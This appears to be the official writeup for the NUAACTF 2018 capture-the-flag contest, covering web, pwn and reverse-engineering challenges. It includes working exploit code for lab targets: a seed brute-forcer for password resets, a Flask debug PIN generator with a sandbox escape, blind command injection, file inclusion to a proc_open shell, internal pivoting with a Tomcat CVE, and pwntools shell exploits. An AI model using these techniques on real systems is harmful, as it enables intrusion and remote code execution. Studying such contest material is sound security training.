Back

NUAACTF_2018 官方wp

NUAACTF 2018 writeup

[TOC]

Web

Web1 Asuri-Information-System

题目描述

http://ctf.asuri.org:8001

听说有五个很厉害的人,一个是admin,一个是admin1,一个是admin2,一个是admin3,一个是admin4。听说打败他们其中一个就可以拿到flag啦

flag格式为NUAACTF{.*}

信息收集

根据题目描述,我们要做的肯定就是要去登录admin[1-4] || admin了。

首先进入题目界面,发现题目功能很简单,首页只提供注册登录两个功能。

我们先随便登录注册一下,进去后发现有个重置密码的功能。

重置一下抓包看看。

然后真的发现自己邮箱里面多了一封重置密码的邮件。

扫目录可以得到www.zip,发现题目的所有基本源码。

思路

基本的信息如上,然后我们可以根据已有信息来看,从那个重置密码请求包来看,貌似我们可以控制重置用户的用户名。那我们是不是可以重置amdin的密码,通过什么方式登录上呢,而且那个请求包还有回显了一个int也比较奇怪,看起来像是var_dump()出来的数据。

通过大概的代码审计,题目用了在sql语句的地方预编译,所以没什么办法注入得到admin

查看handler源码:

<?php
require "./config.php";
require "./email.php";

function generatePasswd(){
    mt_srand((double) microtime() * 1000000);
    var_dump(mt_rand());
    return substr(md5(mt_rand()),0,6);
}

function changePasswd($username, $password){
    $password = md5($password);
    $stmt = $GLOBALS['dbh']->prepare("UPDATE users SET password = ? WHERE username = ?");
    $stmt->bind_param('ss', $password, $username);
    $stmt->execute();
    if ($stmt->affected_rows === 1){
        echo "<script>alert(\"Success!\");history.back(-1);</script>";
        return;
    }
    else
        echo "<script>alert(\"Error!\");history.back(-1);</script>";
    $stmt->free_result();
    $stmt->close();
}


function getEmail($username){
    if ($username){
        $stmt = $GLOBALS['dbh']->prepare("SELECT email From users where username = ?");
        $stmt->bind_param('s', $username);
        $stmt->bind_result($email);
        $stmt->execute();
        if($stmt->fetch()){
            return $email;
        }
        else
            return "error!";
        $stmt->free_result();
        $stmt->close();
    }
    else{
        return "error!";
    }
}

$username = isset($_POST['username']) ? trim($_POST['username']) : NULL;
$email = getEmail($username);
if ($email == "error!"){
    echo "Error!";
    die();
}
$passwd = generatePasswd();
if(sendMail($email,$passwd)){
    changePasswd($username,$passwd);
}
else{
    echo "<script>alert(\"Error! Check your Email address plz!\");history.back(-1);</script>";
}

?>
<!DOCTYPE html>
<html>

<head>
    <meta charset="UTF-8">
    <title>Asuri-Team Managment System</title>
</head>
<body>

</body>

通过代码审计,我们可以看到传入的username到了getEmail这个函数,这个函数用了预编译,所以我们没什么办法注入。这个函数就是根据username返回对应email,通过generatePasswd()产生随机密码,通过sendMail()发送密码到邮箱,最后用changePasswd()来修改数据库中的密码。

整个逻辑基本清楚了,所以我们是可以通过传入一个username=admin来重置管理员的密码。但是怎么登录成admin呢,我们是不是可以通过爆破随机密码或者破解随机密码来登录呢。

我们重点看看generatePasswd()

function generatePasswd(){
    mt_srand((double) microtime() * 1000000);
    var_dump(mt_rand());
    return substr(md5(mt_rand()),0,6);
}

我们可以看到,页面上的int(2055522123)即是var_dump(mt_rand());的显示结果。

可以看看

void mt_srand ([ int $seed ] )
 seed 来给随机数发生器播种。 没有设定 seed 参数时,会被设为随时数。

Note:  PHP 4.2.0 起,不再需要用 srand()  mt_srand() 给随机数发生器播种 ,因为现在是由系统自动完成的。

然后随机数种子是(double) microtime() * 1000000

mixed microtime ([ bool $get_as_float ] )
microtime() 当前 Unix 时间戳以及微秒数。本函数仅在支持 gettimeofday() 系统调用的操作系统下可用。

如果调用时不带可选参数,本函数以 "msec sec" 的格式返回一个字符串,其中 sec 是自 Unix 纪元(0:00:00 January 1, 1970 GMT)起到现在的秒数,msec 是微秒部分。字符串的两部分都是以秒为单位返回的。

如果给出了 get_as_float 参数并且其值等价于 TRUE,microtime() 将返回一个浮点数。

Note: get_as_float 参数是 PHP 5.0.0 新加的。

所以这里microtime() * 1000000是不超过7位数的,而且第一次随机数我们已经得到了,我们可以通过爆破随机数种子来得到随机数。

贴一个自己写的php exp

<?php
// echo ((double) microtime() * 1000000)."\n";
// mt_srand((double) microtime() * 1000000);
// var_dump(mt_rand());
// echo substr(md5(mt_rand()),0,6);


// int(1409622410)
// bc700b

$seed = 0;
for($i = 0;$i < 1000000; $i++){
    mt_srand($i);
    $str = mt_rand();
    if($str === 1796651235){
        $seed = $i;
    }
}
echo $seed."\n";
mt_srand($seed);
mt_rand();
echo substr(md5(mt_rand()),0,6);

猜解得到密码登录就可以得到flag

这里避免给大家竞争随机…就给了5个amdin,其实应该注册一个就对应给一个admin,但是感觉5个应该差不多了…

Web2 男航理工大学选课系统

题目描述

http://ctf.asuri.org:8003

小火汁,听说你想选课?

flag格式为NUAACTF{.*}

信息收集

题目设置非常简单

就一个登录注册界面。然后给了一个www.zip的附件,放出了关键源码。

然后,随便点一个选课,就报错了。

再看看源码,其中在user.py中发现

@users.route('/asserts/<path:path>')
def static_handler(path):
    filename = os.path.join(app.root_path,'asserts',path)
    if os.path.isfile(filename):
        return send_file(filename)
    else:
        abort(404)

解题

这个题熟悉flask的会发现,那个报错页面其实就是开启了debug的界面,我们可以利用pin码来认证debug界面进行命令执行。

而关于pin码,我看赛时很多队伍都采取爆破的方式,导致输入过多,就不能再输入了。就导致我赛时只能人肉运维重置web2

md5_list = [
    'root', #当前用户,可通过读取/etc/passwd获取
    'flask.app', #一般情况为固定值
    'Flask', #一般情况为固定值
    '/usr/local/lib/python2.7/dist-packages/flask/app.pyc', #可通过debug错误页面获取
    '2485377892354', #mac地址的十进制,通过读取/sys/class/net/eth0/address获取mac地址  如果不是映射端口 可以通过arp ip命令获取
    '0c5b39a3-bba2-472c-a43d-8e013b2874e8' #机器名,通过读取/proc/sys/kernel/random/boot_id 或/etc/machine-id获取
    ]

生成pin码的代码

def get_pin(md5_list):
	h = hashlib.md5()
	for bit in md5_list:
		if not bit:
			continue
		if isinstance(bit, unicode):
			bit = bit.encode('utf-8')
		h.update(bit)
	h.update(b'cookiesalt')
	h.update(b'pinsalt')
	num = ('%09d' % int(h.hexdigest(), 16))[:9]
	for group_size in 5, 4, 3:
		if len(num) % group_size == 0:
			rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
						  for x in range(0, len(num), group_size))
			break
	else:
		rv = num
	return rv

拿到pin码便可执行命令。

具体可以参考Flask debug pin安全问题

贴一下这题得到的exp

import hashlib

def get_pin(md5_list):
	h = hashlib.md5()
	for bit in md5_list:
		if not bit:
			continue
		if isinstance(bit, unicode):
			bit = bit.encode('utf-8')
		h.update(bit)
	h.update(b'cookiesalt')
	h.update(b'pinsalt')
	num = ('%09d' % int(h.hexdigest(), 16))[:9]
	for group_size in 5, 4, 3:
		if len(num) % group_size == 0:
			rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
						  for x in range(0, len(num), group_size))
			break
	else:
		rv = num
	return rv

name = get_name()
md5_list = [
    'ctf',
    'flask.app',
    'Flask',
    '/usr/local/lib/python2.7/dist-packages/flask/app.pyc',
    '2485378285570',
    ''
    ]

print get_pin(md5_list)

这里可能比较坑的是/usr/local/lib/python2.7/dist-packages/flask/app.pycmachine_id是空两处。不过通过几次尝试也都可以尝试出来。难度并不算大。

然后就是命令执行,一个简单没有任何过滤的Python沙盒,方法很多。

这里简单给个事例

[console ready]
>>> ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls").read()' )
'APP\nflag\nrun.py\ntest.py\nwww.zip\n'
>>> ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("cat ./flag").read()' )
'NUAACTF{F14sssskkkrrr_D3Bug_n0t_S4f3}'

Web3 张哥的金牌之旅

题目描述

信息收集

打开发现是个java框架。

提供了简单的登录注册。

然后发现只有A+B问题可以点

代码提交页面提供代码提交,查看最后一次提交的代码功能。

引用代码提示

请以代码文件为url,例如http://mysite.com/main.c,仅支持c,cpp,java,py,js,cs的提交

然后提交一个https://raw.githubusercontent.com/php/php-src/master/ext/zlib/zlib.c,发现返回代码过多,再找个几行代码的https://gitee.com/CheungSSH_OSC/CheungSSH/raw/master/bin/DataConf.py

返回提示成功,查看上一次提交代码,发现以源码方式返回。还有个下载代码的功能,得到一个文件名为用户名经过md5后的txt文件。

思路

既然引用代码处,可以引用http协议的url,那我们可以试试用file如何。

发现是forbidden,通过fuzz我们可以得到jar netdoc两个java SSRF支持的协议没有被ban,而且需要再最后加入?1.c来绕过后缀检测

然后查看最后一次代码提交,发现并没有什么改变。

试试netdoc,传入netdoc:///?1.c

发现可以得到回显

但是直接请求flag,发现被ban掉了,所以我们得另寻他路。

突破口

通过查看一系列文件,发现如果直接读class文件的话,直接展示出来了class二进制文件,那我们下载下来会不会也是class文件的形式呢

下载下来后,我们用file看一下,果然是个java class文件

JD-GUI打开得到源码

题目描述说需要逆向师傅其实指的就是这里需要逆向class文件,(其实也不需要…直接用JD-GUI直接就能看了…

这里省略了其他源码的审计。

然后看到貌似多出的这个User.class类,然后发现了比较敏感的readObject()函数,java反序列化漏洞特征,可能存在java反序列化漏洞

然后找到其利用的地方,发现在netdoc:///app/webapps/ROOT/WEB-INF/classes/org/nuaa/tomax/logindemo/controller/UserController.class调用了User类。

UserController.class的关键部分:

@PostMapping({"/record"})
  public void record(long userId, HttpSession session, String cmd)
    throws Exception
  {
    Timestamp timestamp = new Timestamp(System.currentTimeMillis());
    UserEntity user = (UserEntity)session.getAttribute("user_" + userId);
    if (cmd != null)
    {
      User mUsr = new User(user.getId(), user.getUsername(), cmd, timestamp);
      SysUtil.recordCmd(mUsr);
    }
  }

在看到SysUtil.class:

发现竟然有部分貌似真的需要逆向,但是其实仔细往下看,利用点跟上面那段代码没太大关系。

看到recordCmd(),可以说是非常标准的java反序列化的代码了。

public static void recordCmd(User user)
    throws IOException, ClassNotFoundException
  {
    FileOutputStream fos = new FileOutputStream("object");
    ObjectOutputStream os = new ObjectOutputStream(fos);
    
    os.writeObject(user);
    os.close();
    
    FileInputStream fis = new FileInputStream("object");
    ObjectInputStream ois = new ObjectInputStream(fis);
    
    User outUsr = (User)ois.readObject();
    ois.close();
  }

接着我们回到User.class,很明显,这里可以控制传入cmd,我们再看看User.class的关键代码:

private static final String[] BLACKLIST = { "$", "{", "}", "`", "base64", "&", ";", "||", "%", "(", ")", "rm", "echo"};

public User(long id, String username, String cmd, Timestamp time)
{
    this.id = id;
    this.username = username;
    this.cmd = cmd;
    this.time = time;
}

private void readObject(ObjectInputStream in)
    throws Exception
  {
    in.defaultReadObject();
    if (checkCmd(this.cmd).booleanValue())
    {
      String cmd_pre = "sleep $(";
      String cmd_suf = ")";
      String exec = cmd_pre + this.cmd + cmd_suf;

      String[] cmds = { SysUtil.asciiToString("47,98,105,110,47,98,97,115,104"), SysUtil.asciiToString("45,99"), exec };
      SysUtil.execCmd(cmds);
    }
  }

  public Boolean checkCmd(String cmd)
  {
      for (String symbol : BLACKLIST) {
          if (cmd.contains(symbol)) {
              return Boolean.valueOf(false);
          }
      }
      return Boolean.valueOf(true);
  }

cmds转换为ascii就是

String[] cmds = { "/bin/bash", "-c", exec };

exec就是传入的cmd,然而这里利用点比较尴尬,因为我们传入的代码是被exec是被sleep $()给包围起来的,而关键的一些绕过都进了黑名单

private static final String[] BLACKLIST = { "$", "{", "}", "`", "base64", "&", ";", "||", "%", "(", ")", "rm", "echo"};

这里我们可以使用命令执行盲注的形式进行对flag猜解。稍后我会详细写一篇文章讲解命令盲注的方式。

我们可以采用cat /flag | cut -c 1 | tr N 10这样的形式对flag进行猜解。

  • cat /flag读取/flag中的内容
  • cut -c 1截取第一个字符
  • tr N 1010来代替flag中的字母N

所以,通过把flag中的内容读出来之后,用字母代替进行sleep,如果猜解对的话,并且排除网络原因,页面会延缓5s才返回,所以我们可以利用这个特性把flag猜解出来。

其实这里设置得不太好,应该把flag改成全英文比较好一些得到flag。也可以用burp intruder来猜解。

Web4 Pentest

首先发现 url 有文件读取,利用

http://localhost:8004/index.php?action=php://filter/read=convert.base64-encode/resource=index.php

读取源码,扫目录得到

[22:52:52] 301 -  311B  - /img  ->  http://localhost:8004/img/
[22:52:52] 302 -  104B  - /index.php  ->  /index.php?action=show.php
[22:52:52] 200 -  169B  - /INDEX.PHP
[22:52:52] 200 -  169B  - /index.PHP
[22:52:52] 302 -  104B  - /index.php/login/  ->  /index.php?action=show.php
[22:52:52] 200 -   83KB - /info.php
[22:52:55] 403 -  299B  - /server-status
[22:52:55] 403 -  300B  - /server-status/
[22:52:56] 200 -  772B  - /upload.php

Task Completed

直接查看 upload.php 的源码

<?php

$addr = md5("hac425".$_SERVER['REMOTE_ADDR']);
$sandbox = '/var/www/html/' .$addr ;
@mkdir($sandbox);
@chdir($sandbox);
$is_upload = false;
$msg = null;
$UPLOAD_ADDR = "";
if (isset($_POST['submit'])){
    // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=$UPLOAD_ADDR.basename($filename);

    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);

    //判断文件后缀与类型,合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path))
        {
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "该文件不是jpg格式的图片!";
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                $newimagepath = $UPLOAD_ADDR.$newfilename;
                imagejpeg($im,$newimagepath);
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = $UPLOAD_ADDR.$newfilename;
                unlink($target_path);
                $is_upload = true;
            }
        }
        else
        {
            $msg = "上传失败!";
        }

    }else if(($fileext == "png") && ($filetype=="image/png")){
        if(move_uploaded_file($tmpname,$target_path))
        {
            //使用上传的图片生成新的图片
            $im = imagecreatefrompng($target_path);

            if($im == false){
                $msg = "该文件不是png格式的图片!";
            }else{
                 //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                $newimagepath = $UPLOAD_ADDR.$newfilename;
                imagepng($im,$newimagepath);
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = $UPLOAD_ADDR.$newfilename;
                unlink($target_path);
                $is_upload = true;               
            }
        }
        else
        {
            $msg = "上传失败!";
        }

    }else if(($fileext == "gif") && ($filetype=="image/gif")){
        if(move_uploaded_file($tmpname,$target_path))
        {
            //使用上传的图片生成新的图片
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "该文件不是gif格式的图片!";
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                $newimagepath = $UPLOAD_ADDR.$newfilename;
                imagegif($im,$newimagepath);
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = $UPLOAD_ADDR.$newfilename;
                unlink($target_path);
                $is_upload = true;
            }
        }
        else
        {
            $msg = "上传失败!";
        }
    }else{
        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
    }
}
?>

<div id="upload_panel">
    <ol>
        <li>
            <h3>说明</h3>
            <p>给自己留的图片上传区</p>
        </li>
        <li>
            <h3>上传区</h3>
            <form enctype="multipart/form-data" method="post">
                <p>请选择要上传的图片:<p>
                <input class="input_file" type="file" name="upload_file"/>
                <input class="button" type="submit" name="submit" value="上传"/>
            </form>
            <div id="msg">
                <?php 
                    if($msg != null){
                        echo "提示:".$msg;
                    }
                ?>
            </div>
            <div id="img">
                <?php
                    if($is_upload){
                        $img_path = $addr .'/'.$img_path;
                        echo '<img src="'.$img_path.'" width="250px" />';
                    }
                ?>
            </div>
        </li>
        <?php 
            if($_GET['action'] == "show_code"){
                include 'show_code.php';
            }
        ?>
    </ol>
</div>

看源码可以发现图片上传后经过了二次渲染,但是我们可以发现先执行了move_uploaded_file,所以文件是上传成功了的,结合文件包含漏洞 getshell ,但是我们可以看到 info.php 里面的信息

disable_functions
passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru

发现大部分的执行函数都被disable了,但是我们还可以用proc_open,也可以参考

无需sendmail:巧用LD_PRELOAD突破disable_functions

<?php
$command="id\npwd\n";
$descriptorspec = array(
	0 => array('pipe', 'r'),
	1 => array('pipe', 'w'),
	2 => array('pipe', 'w')
);
 
$resource = proc_open($command, $descriptorspec, $pipes, null, $_ENV);
if (is_resource($resource))
{
	fwrite($pipes[0], "pwd\n");
	$stdin = $pipes[0];
	$stdout = $pipes[1];
	$stderr = $pipes[2];
 
	while (! feof($stdout))
	{
		$retval .= fgets($stdout,1024);
	}
 
	while (! feof($stderr))
	{
		$error .= fgets($stderr);
	}
	fwrite($pipes[0], "pwd\n");
	$stdout = $pipes[1];
	$stderr = $pipes[2];
 
	while (! feof($stdout))
	{
		$retval .= fgets($stdout,1024);
	}
 
	while (! feof($stderr))
	{
		$error .= fgets($stderr);
	}
 
	fclose($stdin);
	fclose($stdout);
	fclose($stderr);
 
	$exit_code = proc_close($resource);
}
if (! empty($error))
	throw new Exception($error);
else
	echo $retval;
 
?>

然后我们在首页得到那个 img 路径,利用文件包含,可以发现成功执行命令。

接下来简化一下操作,我就直接把那些 php disable 去掉。然后我们发现有个文件

传 ew + busybox,拿use auxiliary/scanner/portscan/tcp,得到 172.20.0.3 这个 ip 上有端口开着

挂好 ew 之后,我们尝试用 smbclient 来连接内网的 samba 服务(这里第二天来弄了,之前又起了一个 container ,所以 ip 变成了 172.21.0.3

这里列一下 smbclient 常用的命令

1.列出某个IP地址所提供的共享文件夹 
smbclient -L //198.168.0.1/ -U username%password

2.像FTP客户端一样使用smbclient 
smbclient //192.168.0.1/tmp -U username%password
执行smbclient命令成功后,进入smbclient环境,出现提示符: smb:/> 这时输入?会看到支持的命令
这里有许多命令和ftp命令相似,如cd 、lcd、get、megt、put、mput等。通过这些命令,我们可以访问远程主机的共享资源。 

3,直接一次性使用smbclient命令 
smbclient -c "ls" //192.168.0.1/tmp -U username%password
和 
smbclient //192.168.0.1/tmp -U username%password
smb:/>ls 
功能一样的 

例,创建一个共享文件夹 
smbclient -c "mkdir share1" //192.168.0.1/tmp -U username%password 
如果用户共享//192.168.0.1/tmp的方式是只读的,会提示 
NT_STATUS_ACCESS_DENIED making remote directory /share1 

4,除了使用smbclient,还可以通过mount和smbcount挂载远程共享文件夹 
挂载 mount -t cifs -o username=administrator,password=123456 //192.168.0.1/tmp /mnt/tmp 
取消挂载 umount /mnt/tmp

若出现了下图的错误,则需要加上-m SMB2

可以看到挂载了一个 www 目录,接着进入交互模式

得到第一部分的 flag

然后发现在 172.21.0.4 上开放着 8080 端口

挂代理请求 172.21.0.4:8080 发现是 Apache Tomcat/7.0.79

访问 manager 尝试了弱密码无果,尝试 CVE-2017-12615

直接上 msf

成功拿到两段 flag

Pwn

overflow

简单栈溢出,用了随机数模拟了canary,本地生成随机数即可。

exp:

#/usr/bin/env python
from pwn import *
from ctypes import *

libc = cdll.LoadLibrary("libc.so.6")

p = process('./overflow')

ret = 0x80485BD
t = libc.time(0)
libc.srand(t)
random = libc.rand()

p.recvline()

payload = 'a'*0x20 + p32(random) + 'a'*0xc + p32(ret)
#gdb.attach(p)
p.sendline(payload)

print p.recvline()

kvm

简单的kvm,只需要在vm里面执行端口写操作即可。

exp:

#/usr/bin/env python
from pwn import *

p = process('./kvm')

p.recvuntil("execute: \n")

code = asm('''
	movabs rax, 0x67616c66
  	push 4
  	pop rcx
  	mov edx, 0x100
  OUT:
  	out dx, al
  	shr rax, 8
  	loop OUT
	''', arch = 'amd64')

p.sendline(code)

p.recvuntil("execute again: \n")
#gdb.attach(p)
p.sendline(asm(shellcraft.amd64.linux.sh(), arch = 'amd64'))

p.interactive()

password_checker

snprintf 误用, 它返回的是格式化解析后形成的字符串的长度(及期望写入目标缓冲区的长度),而不是实际写入 目标缓冲区的内存长度。

    int off = snprintf(buf, 0x100, "name:%s&", input);
    ...........................
    ...........................    
    ...........................
    // off 可能会比较大,出现越界写
    off = snprintf(buf + off, 0x100 - off, "pwd:%s", input);

所以利用 snprintf 让 off 移动到返回地址的位置, 然后写返回地址为 getshell 函数的地址。

具体看 exp 和源码

exp:

#!/usr/bin/python
# -*- coding: UTF-8 -*-
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = "debug"

binary_path = "../dist/pwn"


# p = process(binary_path)
p = remote("172.17.0.2", 20000)

p.recvuntil("welcome.....")
# 计算出需要输入的字符串长度,让 off + buf 能够写到返回地址
# 还要去掉 pwd: 这 4 个 字节
payload = "a" * (0x10c+4-4-2-4)

p.send(payload)
# gdb.attach(p,"""
# bp 0x0804873B
# c
# """)
# pause()


payload = p32(0x08048674)
p.sendline(payload)

p.interactive()

type_confusion

类型混淆,可以先释放一个 c1类的 obj, 然后分配一个 c2 类的 obj, 然后利用 see c1 obj 的功能调用虚函数,会调用 c2 的虚函数,c2 的相应虚函数的作用就是 system(“sh)

int c2::dump()
{
    system("sh");
}

exp:

#!/usr/bin/python
# -*- coding: UTF-8 -*-
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = "debug"

binary_path = "../dist/pwn"


# p = process(binary_path)
p = remote("172.17.0.2", 20000)

p.recvuntil("Your choice: ")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline("0")

p.recvuntil("Your choice: ")
p.sendline("100")

p.recvuntil("Your choice: ")
p.sendline("1")
p.recvuntil("Index: ")
p.sendline("0")


p.interactive()

具体看 exp 和源码

Rev

stupid_contract_challenge[rev]

简单solidity逆向,源码如下

pragma solidity ^0.4.25;

contract stupidChallenge{
    bytes32 seed = 0xaaa0adabb79fb8b9bca5a8938fa3a2b8415250476c705b525f5f565d5456124e;
    function generateFlag() public returns(bytes){
        bytes memory finalFlag = new bytes(seed.length);
        uint i;
        for(i = 0;i<seed.length/2;i++) {
            finalFlag[i]=seed[i]^0xcc;
        }
        for(;i<seed.length;i++) {
            finalFlag[i]=seed[i]^0x33;
        }
        return finalFlag;
    }
}

直接把字节码扔 https://ethervm.io/decompile 即可

variant_of_cat

智能合约,整数下溢 先调用fightAsuriMonster使得攻击力下溢,再次调用fightBoss即可

STG TouHou

是一个彻头彻尾的车万游戏呢。

正常通关

通关游戏,会把flag打印在屏幕上

逆向分析

这个题目会告知大家这个程序叫做四圣龙神录,其实是可以从github上找到源码的。Rev的题目拿到了源码,那基本上就做出来了。当然源代码肯定没有flag相关的逻辑,可以结合源代码对程序进行审计。 首先逆向日常搜索flag字符串,会发现如下的函数:

void sub_4308D0()
{
  int v0; // eax

  if ( dword_D0CA74 == 1 )
  {
    v0 = sub_40E039(255, 255, 255);
    sub_40D837(0, 40, v0, "Flag:%s", (unsigned int)&byte_D0CA78);
  }
}

这个Flag很显然是刻意打印的,那么追踪一下这个byte_D0CA78

signed int __cdecl sub_430730(char a1)
{
  signed int result; // eax
  char v2; // STD7_1
  signed int i; // [esp+E8h] [ebp-8h]
  signed int j; // [esp+E8h] [ebp-8h]

  for ( i = 0; i < 54; ++i )
    byte_AEE308[i] -= a1;
  for ( j = 0; ; j += 2 )
  {
    result = j;
    if ( j >= 54 )
      break;
    v2 = 16 * trans2num(byte_AEE308[j]);
    byte_D0CA78[j / 2] = trans2num(byte_AEE309[j]) + v2;
  }
  dword_D0CA74 = 1;
  return result;
}

会找到这个函数,可以看到这里又存储了一个全局变量。这里的运算相当于是将一个数字分成了高4bit和低4bit然后进行合并处理,那么我们继续回溯,检查这个byte_AEE308的来历,会找到另一段的程序逻辑:

signed int __cdecl sub_430850(char a1)
{
  signed int result; // eax
  signed int i; // [esp+DCh] [ebp-8h]

  for ( i = 0; ; ++i )
  {
    result = i;
    if ( i >= 54 )
      break;
    byte_AEE308[i] ^= a1;
  }
  return result;
}

跟踪调用关系,会发现这两个函数是由同一个函数调用的:

signed int __cdecl sub_430960(int a1, char a2)
{
  signed int result; // eax

  if ( a1 == 1 )
    return sub_405696(a2);
  if ( a1 == 2 )
    result = sub_402A09(a2);
  return result;
}

跟踪到外面,可以看到这样的逻辑

       result = dword_D0C03C++ + 1;
        if ( dword_D0C03C == 1 )
          return sub_40A907(dword_D0C03C, 255);
        if ( dword_D0C03C == 2 )
          result = sub_40A907(dword_D0C03C, 19);
        return result;

结合东方(游戏逻辑!)一般来说都是先1后2,所以是先调用前面那个逻辑后调用后面的逻辑。于是根据调用顺序,我们能够写出解密脚本:

import codecs
enc = [182,135,181,183,182,187,182,187,182,185,181,184,182,182,181,138,183,181,182,183,185,187,182,185,185,188,182,136,185,185,183,134,185,186,183,134,184,181,185,185,182,135,183,185,185,188,184,138,185,184,182,134,181,136 ]

def dec_one(enc, num):
    for i in range(len(enc)):
        enc[i] ^= num

def dec_two(enc, num):
    for i in range(len(enc)):
        enc[i] -= num

    tmp = 0
    ans = ''.join(chr(c) for c in enc)
    print(codecs.decode(ans,'hex'))


if __name__ == '__main__':
    dec_one(enc, 255)
    dec_two(enc, 19)
    # nuaactf{We1c0m3_2_G3nS0K4o}

Middle

题目来源:因为难度定位是中等所以叫这个

初步准备

对于想要做这个题目的人来说,想必也是有了一定的基础。比如说首先要认得这个程序是一个ELF文件是Linux下的可执行文件之类的。(其实我第一次做的时候就不会认这个,滑稽) 那么逆向首先无非准备几个工具

  • 静态工具:IDA
  • 动态分析工具:gdb
  • 环境:Ubuntu

首先运行程序,发现程序两个行为:

  • 输入nuaactf{.+}格式的字符串
  • 如果输入完成,会让我们做一个C语言的题目

而且在运行的时候会发现,程序会在5秒之内结束。整个题目第一眼逻辑就有了

静态辅助

掏出静态分析工具,前面一大段其实是字符串在计算对齐的内容,不是特别重要。整体分析就会发现其实是一个给字符串置0的操作。之后的第一个函数sub_80485E4();在打印欢迎内容,之后会遇到函数:

  if ( ptrace(0, 0, 1, 0) < 0 )
  {
    puts("Hey guys, what are you doing?!not cheat me~");
    ++dword_804A0D8;
    exit(-1);
  }

这个ptrace上网查就会发现,这个函数会阻止动态调试,这里可以选择将这个内容patch掉,将二进制内容改成90(nop),跳过这个内容。或者gdb调试直接跳过这个内容也可以,反正有办法都行。

之后来到这个地方的逻辑:

  puts("Hey you, what's your password?");
  puts("format:nuaactf{}, length:24");
  for ( i = 0; i < 24; ++i )
    __isoc99_scanf("%c", i + a1);
  puts("em?ok, you can get in...");
  for ( j = 0; ; ++j )
  {
    result = j;
    if ( j >= 24 )
      break;
    *(_BYTE *)(j + a1) = ((int (__cdecl *)(_DWORD))loc_8048628)(*(unsigned __int8 *)(j + a1));
  }

可以看到这里的内容就是让我们输入一段类似flag的内容,不过注意到,最后会对数组a1的每一个元素进行更新,但是似乎是一个没有被识别成函数的内容,跟进去查看,发现一些奇怪的指令阻止了程序的正常解析,不过仔细观察,似乎这个跳转根本就不会调用到这些神奇的指令,利用前面教过的patch方法,就能够修改掉程序内容,看到正确的程序内容:

  v2 = 0;
  for ( i = 0; i <= 7; ++i )
    v2 |= (((signed int)a1 >> i) & 1) << *(_BYTE *)(i + 0x804A0C2);
  return v2

这个巨大的数字其实是一个地址,里面内容为

.data:0804A0C2                 db    3
.data:0804A0C3                 db    7
.data:0804A0C4                 db    2
.data:0804A0C5                 db    1
.data:0804A0C6                 db    6
.data:0804A0C7                 db    4
.data:0804A0C8                 db    5
.data:0804A0C9                 db    0

理解一下,就相当于是一个数组的下标i在遍历。总的分析这个算法,其实就是将一个字节的每一bit的顺序重新映射到一个新的位置上具体对应关系为:

0 1 2 3 4 5 6 7
3 7 2 1 6 4 5 0

C语言课程

然后有一个让大家轻松一下的环节,让大家输入一个程序的运行结果。这个一看就是宏定义的错误实例,即会产生一个非预期的答案

1+3*1+4 = 8

不过其实整个考出来跑也是可以的~

最后的答案

最后一段逻辑如下

  v3 = -66;
  v4 = 116;
  v5 = 48;
  v6 = 48;
  v7 = -80;
  v8 = 124;
  v9 = -68;
  v10 = -14;
  v11 = 42;
  v12 = 48;
  v13 = 48;
  v14 = 16;
  v15 = 98;
  v16 = -74;
  v17 = 116;
  v18 = -26;
  v19 = -92;
  v20 = 88;
  v21 = 124;
  v22 = -26;
  v23 = 80;
  v24 = 124;
  v25 = 16;
  v26 = 118;
  puts("Well,Well,You get here right?");
  if ( !dword_804A0D8 || dword_804A0D0 )
  {
    puts("En?No No No you are not clever~");
  }
  else
  {
    puts("!!! Hey !!!");
    puts("Do you remember your password?");
    for ( i = 0; i <= 23; ++i )
    {
      *(_BYTE *)(a1 + i) = *(_BYTE *)(i + a1) ^ dword_804A0D4;
      if ( *(&v3 + i) != *(_BYTE *)(i + a1) )
        break;
    }
    if ( i == 24 )
      puts("YOU ARE RIGHT!THE KEY IS FLAG!");
    else
      puts("O?Nearly");
  }

可以看到离正确答案很近了~ 不过会发现,不是那么容易能够进入这个匹配逻辑。仔细观察会发现,变量dword_804A0D8在一开始的ptrace处出现过,而dword_804A0D0则是会在一个handler里面出现,这个handler其实是注册的一个信号事件,5秒后自动跳转为1(这个地方其实是坑调试器用的,因为调试器可以选择忽略alarm但是此时变量依然会被置为1)不过一样可以用强硬的手段跳过这段逻辑。之后发现是一段关键逻辑比较

      *(_BYTE *)(a1 + i) = *(_BYTE *)(i + a1) ^ dword_804A0D4;
      if ( *(&v3 + i) != *(_BYTE *)(i + a1) )
        break;

其中dword_804A0D4存放了C语言那段中,我们输入的正确答案。如果输入正确答案,则会通过与上面出现那一大段数字(其实是一个数组)进行异或,得到答案。于是总结下来,我们可以得到整体逻辑:

  • 首先对输入进行bit变化
  • 与C语言输入的正确答案进行异或
  • 与程序内部的数据比较

因此可以写出解密逻辑:

#   -*- coding:utf-8    -*-

bit_map = [7, 3, 2, 0, 5, 6, 4, 1]
